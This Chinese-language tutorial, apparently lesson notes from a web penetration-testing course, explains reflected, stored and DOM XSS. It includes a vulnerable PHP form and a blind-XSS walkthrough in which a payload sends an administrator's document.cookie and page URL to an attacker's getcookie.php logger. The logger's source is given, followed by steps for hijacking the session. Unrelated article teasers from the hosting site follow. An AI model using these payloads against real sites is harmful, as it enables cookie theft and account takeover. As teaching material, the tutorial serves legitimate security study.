day3-xss漏洞(米斯特web渗透测试)

day3-xss漏洞(米斯特web渗透测试)

  • XSS
  • Xss种类三种反射型
    • 1.反射型xss
    • 2.存储型xss
    • 3.DOM型xss

XSS

  Xss有一部分是前端的有一部分不是前端的,我们来看一下,昨天的HTML注入修复方法应灵活使用。
在这里插入图片描述

  HTML注入是注入一段HTML,那么HTML里面包含了css,js。昨天css也利用过了(如用黑色背景将其覆盖掉,把下面用白色背景覆盖掉,再写上登录框)。Xss也可以这样利用。

  Xss实际上是插入一段JavaScript代码,但JavaScript代码是可以使用HTML标签调用的。

看上方的http://html.php?html=<script>alert(1)</script>,导致右下方弹出一个含1的框。
alert(1)弹出一个框内容是里面的东西。
Xss和HTML注入都是将一段代码插入页面中。

Xss种类三种反射型

在这里插入图片描述

1.反射型xss

  反射型xss(白帽子发送了一个xss代码到服务器上,需要经过服务器PHP代码查看处理的,处理完后会将这段代码返回,返回会在浏览器上 看得到,如果此时存在xss那就会弹出上面这个框。)
  Payload有效载荷,它的实际意思是测试了一段payload测试了一段代码,相当于xss代码相当于HTML注入的代码。在输入xss代码时浏览器可能会拦截可以关掉拦截。直接用火狐浏览器吧。在火狐没有拦截,可以弹框的。当弹框后就检测成功了,还没有达到利用程度。其实自带的E浏览器也是可以使用的。
在这里插入图片描述

2.存储型xss

  存储型xss(现在只讲检测不讲利用,等会再利用)浏览器发送一段payload一段xss代码到服务器,服务器后端代码经过处理要存储给数据库,而这个测试的页面后端的代码从数据库查询过来的东西。查询你插入的这段代码,并把你这段代码输送到页面中。这时如果你在输出的时候没有做限制,或者你在浏览器刚开始发送的时候没有做限制。输入点和输出点没有做限制是存在漏洞的那我们来看一下。

在这里插入图片描述

  如上图所示,左上方有个网站,有个名字(代码),我们点击添加,发现他的数据库中的name这一列多了一个名字(代码),那么我们去找对应的页面,可以看到页面一打开就弹出了一个xss,因为name值是xss代码,输出的也是直接把xss代码解析了,所以才会有这个弹框。
接下来实战一下

下面是safe.php的代码

<?php
$conn = mysql_connect('localhost','root','root') or die('bad!');//连接数据库
mysql_query("SET NAMES utf-8'");
mysql_select_db('xsstest',$conn) OR emMsg("数据库连接失败");//选择一个数据库
if (@$_POST['name']) {$name = $_POST['name'];$sql = "INSERT INIO 'admin' ('name') VALUES ('{$name}');";$result = mysql_query($sql,$conn) or die(mysql_error());echo "<script>alert(/添加成功!/)</script>";
}
?>
<!DOCTYPE html>
<html>
<head><meta charset="utf-8" /><title>用户添加</title>
</head>
<body>
<form action="" method="post">name:<input type="text" name="name"><br><input type="submit" value="add">
</form>
</body>
</html>

  个人中心这一块怎么利用,我们只需让攻击者在被攻击者访问这个,现在保密,在下个漏洞讲,需要结合另一个漏洞

在这里插入图片描述

3.DOM型xss

  DOM型xss,这个js可以操作前端的代码,是前端中的王者。DOM型xss是因为JavaScript出了问题,前端的代码出了问题才导致的这些DOM节点被修改、创建、删除。

  DOM发送并返回,整个操作在浏览器中进行,而反射型(发给服务器处理并返回,无持久性,删除了这段url代码就没有漏洞)、存储型(发给服务器处理、存储、再返回,在数据库中有持久性)都需发给服务器。
  基于DOM的跨站点脚本不需要依赖于服务器端响应的内容,如果某些HTML页面使用了document.location\document.URL或者document.referer等DOM元素的属性,攻击者可以利用这些属性植入恶意脚本实施基于DOM的跨站点脚本攻击。

在这里插入图片描述

在这里插入图片描述

  他们的危害是类似的,存储型xss危害相对较大

  这个存储型如果在个人中心利用的话会比较麻烦,我们来看一下xss盲打的实例,假设在一个公司工作,客户给一个留言板,要求测试此留言板是否有漏洞,因为学了xss刚刚,这时先测一下有没有xss漏洞。

  一切前端的属性限制在审查元素中是无效的,若是输入密码或账号有字数限制,可以在审查元素中看到maxlength这一属性将其字数限制修改,然后在页面就能成功了。

  注意你发表留言,你能看到吗?提交时发现提交成功,留言需经管理员审核才能发布,想一下,如果管理员发现怎么办,管理员后台如果过触发了这段代码怎么办或者将这些代码删掉了怎么办(并没有点击进去看)

  注意尽量在姓名和邮箱这边不要插入xss代码,姓名后端也会给限制,或者邮箱无@等格式也不给发送给管理员,所以一般会在留言内容中插入<script>alert(1)</script>进行测试,自己这边代码并未执行,而管理员点进去之后代码也并未执行到底是为什么呢然而在审查元素时会发现,它是被HTML实体化编码了,这个xss代码并未被解析。两个思路一个不干了,一个研究xss的payload能去解析才行。

<input type="submit" value="<script>alert(1)</script>">,注意xss代码在value中前后被“”包起来了,想一下,我们也可以输入双引号进去,在input标签内左右尖括号包好,如何构建此payload另其真正的被执行解析呢
<input type="submit" value=""><script>alert(1)</script>">将上面的xss代码变为"><script>alert(1)</script>就能从value中逃逸出来。当你以这个代码输入到浏览内容并发送时,管理员打开就会触发xss,然后就弹出1了。这时你就会想管理员弹出1了我们怎么知道,要知道js代码什么都可以控制,管理员去访问我们的一个文件,我们可以记录一下谁访问我们的文件,document.location.href=”http://www.hi-ourlife.com/”。将输入的内容变成
"><script>document.location.href=”http://www.hi-ourlife.com/”</script>此时这个网站会有记录。

  有个getcookie.php,有些数据要存在客户端,cookie主要是用于辨别用户,也算是凭证吧,我们获取了它的cookie获取了它的凭证,获取了其管理员的凭证,第一步即验证了这个漏洞真实存在,第二个我们获取了它的凭证就能登录其后台。我们就可以试试,那怎么构建呢?
  此getcookie.php是放在我们的网站下面的路径就是

http://192.168.0.109/mst/getcookie.php?cookie=
<?php
if (file_put_contents("cookie.txt", 'Cookie:'.$_GET['cookie'],FILE_APPEND)) {echo "ok";
}
?>
document.cookie在自己的网站中也可以获取cookie
接下来我们在留言板内容中输入”><script>document.location.href=”http://192.168.0.109/mst/getcookie.php?cookie=”+document.cookie</script>但是我们获取了cookie之后但不知道后台是什么,还需要将后台获取出来。
故在留言板中的内容要输入下方代码
“><script>document.location.href=”http://192.168.0.109/mst/getcookie.php?cookie=”+document.cookie+”&durl=”+document.URL</script>

  我们已经在生成的txt文件中获得管理员的cookie了,那如何使用呢?很简单,火狐浏览器打开,安装一个插件firebug,安装好后会令你重启一个浏览器,重启,右键使用firebug查看元素,此时点击cookie,编辑一下,将获得的cookie写入,也可以将cookie失效日期更改然后再点击输入管理员网站,注意要改成会话模式。此时注意可以进来了。
  当然xss也会有httponly这个也是希望大家课后自主学习一下,今天先到这明天还会讲之前的个人中心漏洞打一个组合拳一起利用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/32861.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI大模型之争:通用性与垂直性,哪个更具优势?

文章目录 每日一句正能量前言背景介绍能力分析通用大模型的能力&#xff1a;垂直大模型的能力&#xff1a;差异与互补性分析&#xff1a; 难点探究1. 算力挑战2. 数据挑战3. 算法挑战4. 泛化能力5. 可解释性和透明度6. 伦理和偏见问题7. 成本效益 后记 每日一句正能量 昨天已逝…

汇编快速入门

一.基础知识 1.数据类型 DB&#xff08;Define Byte&#xff0c;字节类型 占位8位bit 1字节&#xff09; 范围&#xff1a;DB可以用来定义&#xff08;无符号、有符号&#xff09;整数&#xff08;包含二、十、十六进制&#xff09;和字符 语法&#xff1a;a DB 数据个数…

增加attention的seq2seq和transformer有什么区别

1.seq2seq是什么 seq2seq 是一个Encoder–Decoder 结构的网络&#xff0c;它的输入是一个序列&#xff0c;输出也是一个序列。Encoder 中将一个可变长度的信号序列变为固定长度的向量表达&#xff0c;Decoder 将这个固定长度的向量变成可变长度的目标的信号序列。   很多自然…

package.json简介

1、package.json简介 通过 npm init 初始化一个项目&#xff0c;会生成3个目录/文件&#xff0c; node_modules, package.json和 package.lock.json。其中package-lock.json文件是为了锁版本。 2、package.json常用属性 1&#xff09;name name是项目的名称&#xff0c;命名…

2024最新1小时零基础编写uniapp和小程序管理后台,基于uniadmin和vue3实现uniapp小程序的网页管理后台

一&#xff0c;创建uniAdmin项目 打开开发者工具Hbuilder,然后点击左上角的文件&#xff0c;点新建&#xff0c;点项目。如下图。 选择uniadmin&#xff0c;编写项目名&#xff0c;然后使用vue3 记得选用阿里云服务器&#xff0c;因为最便宜 点击创建&#xff0c;等待项目创…

示例:WPF中应用DependencyPropertyDescriptor监视依赖属性值的改变

一、目的&#xff1a;开发过程中&#xff0c;经常碰到使用别人的控件时有些属性改变没有对应的事件抛出&#xff0c;从而无法做处理。比如TextBlock当修改了IsEnabled属性我们可以用IsEnabledChanged事件去做对应的逻辑处理&#xff0c;那么如果有类似Background属性改变我想找…

Atcoder Beginner Contest 359

传送门 A - Count Takahashi 时间限制&#xff1a;2秒 内存限制&#xff1a;1024MB 分数&#xff1a;100分 问题描述 给定 N 个字符串。 第 i 个字符串 () 要么是 Takahashi 要么是 Aoki。 有多少个 i 使得 等于 Takahashi &#xff1f; 限制 N 是整数。每个…

探索ChatTTS项目:高效的文字转语音解决方案

文章目录 &#x1f4d6; 介绍 &#x1f4d6;&#x1f4d2; ChatTTS &#x1f4d2;&#x1f4dd; 项目介绍&#x1f4dd; 项目亮点&#x1f4dd; UI &#x1f388; 项目地址 &#x1f388; &#x1f4d6; 介绍 &#x1f4d6; 在AI技术迅速发展的今天&#xff0c;文本到语音&…

指令调度基本概念

概述 为了提高处理器执行指令的并行度&#xff0c;处理器将计算机指令处理过程拆分为多个阶段&#xff0c;并通过多个硬件处理单元&#xff0c;将不同指令处理的前后阶段重叠并行执行&#xff0c;形成流水线(pipeline) 处理器的流水线结构是处理器微架构最基本的要素&#xf…

数据类型 运算符

基本数据类型与引用数据类型的区分 存储内容&#xff1a; 基本数据类型&#xff1a;直接存储实际的数据值&#xff0c;如整数、浮点数、字符等。引用数据类型&#xff1a;存储对象的引用&#xff08;内存地址&#xff09;&#xff0c;而不是对象本身。 内存分配&#xff1a; 基…

本地离线模型搭建指南-本地运行显卡选择

搭建一个本地中文大语言模型&#xff08;LLM&#xff09;涉及多个关键步骤&#xff0c;从选择模型底座&#xff0c;到运行机器和框架&#xff0c;再到具体的架构实现和训练方式。以下是一个详细的指南&#xff0c;帮助你从零开始构建和运行一个中文大语言模型。 本地离线模型搭…

打印机状态显示错误是什么原因?这5个有效方法要记好!

打印机是现代办公中不可或缺的设备之一&#xff0c;但在使用过程中&#xff0c;打印机状态显示错误是一个常见的问题。本文将详细探讨打印机状态显示错误的原因及其解决方法。 摘要 打印机状态显示错误的原因及解决方法如下&#xff1a; 1、网络连接问题&#xff1a;原因&…

LLM agentic模式之reflection:SELF-REFINE、Reflexion、CRITIC

SELF-REFINE SELF-REFINE出自2023年3月的论文《Self-Refine: Iterative Refinement with Self-Feedback》&#xff0c;考虑到LLM第一次生成结果可能不是最好的输出&#xff0c;提出一种包括反馈(feedback)和改善(refinement)两个步骤的迭代方法来改进LLM的初始输出。 基本思路…

【Orange Pi 5与Linux系统编程】-POSIX消息队列

Linux系统中的POSIX消息队列编程 文章目录 Linux系统中的POSIX消息队列编程1、POSIX 消息队列2、Linux 中的 POSIX 消息队列命名3、POSIX 消息队列调用3.1 mq_open, mq_close3.2 mq_timed_send、mq_send、mq_timed_receive、mq_receive3.3 mq_notify3.4 mq_unlink3.5 mq_getatt…

【Java】已解决java.lang.FileNotFoundException异常

文章目录 一、分析问题背景二、可能出错的原因三、错误代码示例四、正确代码示例五、注意事项 已解决java.lang.FileNotFoundException异常 在Java编程中&#xff0c;java.lang.FileNotFoundException是一个常见的异常&#xff0c;它通常表示程序试图打开一个不存在的文件、文…

使用Let‘s Encrypt 申请通配符证书

为什么不使用阿里云/腾讯云等公有云厂商提供的免费证书? 上篇介绍了从阿里云上面申请免费证书,有效期一年 为网站配置https证书 公有云提供的证书不支持通配符&#xff0c;只支持某个确定的解析。 不管是二级域名还是三级域名&#xff0c;只要是具体的确定的地址&#xff0c;都…

号外!号外!全网第一手Android P刘海屏适配大揭秘,唯一Kotlin算法

如下图所示&#xff1a; 4.2.适配刘海屏 在刘海屏调试打开之后&#xff0c;浏览应用的所有页面&#xff0c;测试所有遮挡问题&#xff0c;或者是下移导致的问题&#xff0c;对有问题的页面进行布局适配。适配方案如下&#xff1a; Google 提供的适配方案&#xff0c;可以设置…

使用VisualBox+Vagrant搭建Centos虚拟机环境

1.下载并安装VisualBox&#xff1b; 2.下载并安装Vagrant; 3.打开cmd窗口&#xff0c;执行命令vagrant init centos/7&#xff0c;初始化centos环境&#xff0c;该步骤受网络带宽影响&#xff0c;可能挂级30分钟到1个小时&#xff1b; 4.启动虚拟机&#xff1a;vagrant up&…

数据库理论大题与编译原理大题(笔记)

目录 数据库&#xff08;求最小函数依赖&#xff09; 数据库&#xff08;求属性集的闭包和候选码&#xff09; 编译原理&#xff08;NFA ——> DFA&#xff09; 编译原理&#xff08;识别文法的活前缀 DFA 和 LR(0) 分析表&#xff09; 哈哈&#xff01;这是本人作者才…

WordPress强大多功能主题模板The7 v9.16.0

模板介绍 The7可以与WPBakery Page Builder&#xff08;原Visual Composer&#xff09;和Ultimate Addons的完全无缝集成。它也与大多数流行的插件完全兼容&#xff0c;例如WooCommerce&#xff0c;WPML&#xff0c;Yoast SEO&#xff0c;All in One WP Migration&#xff0c;…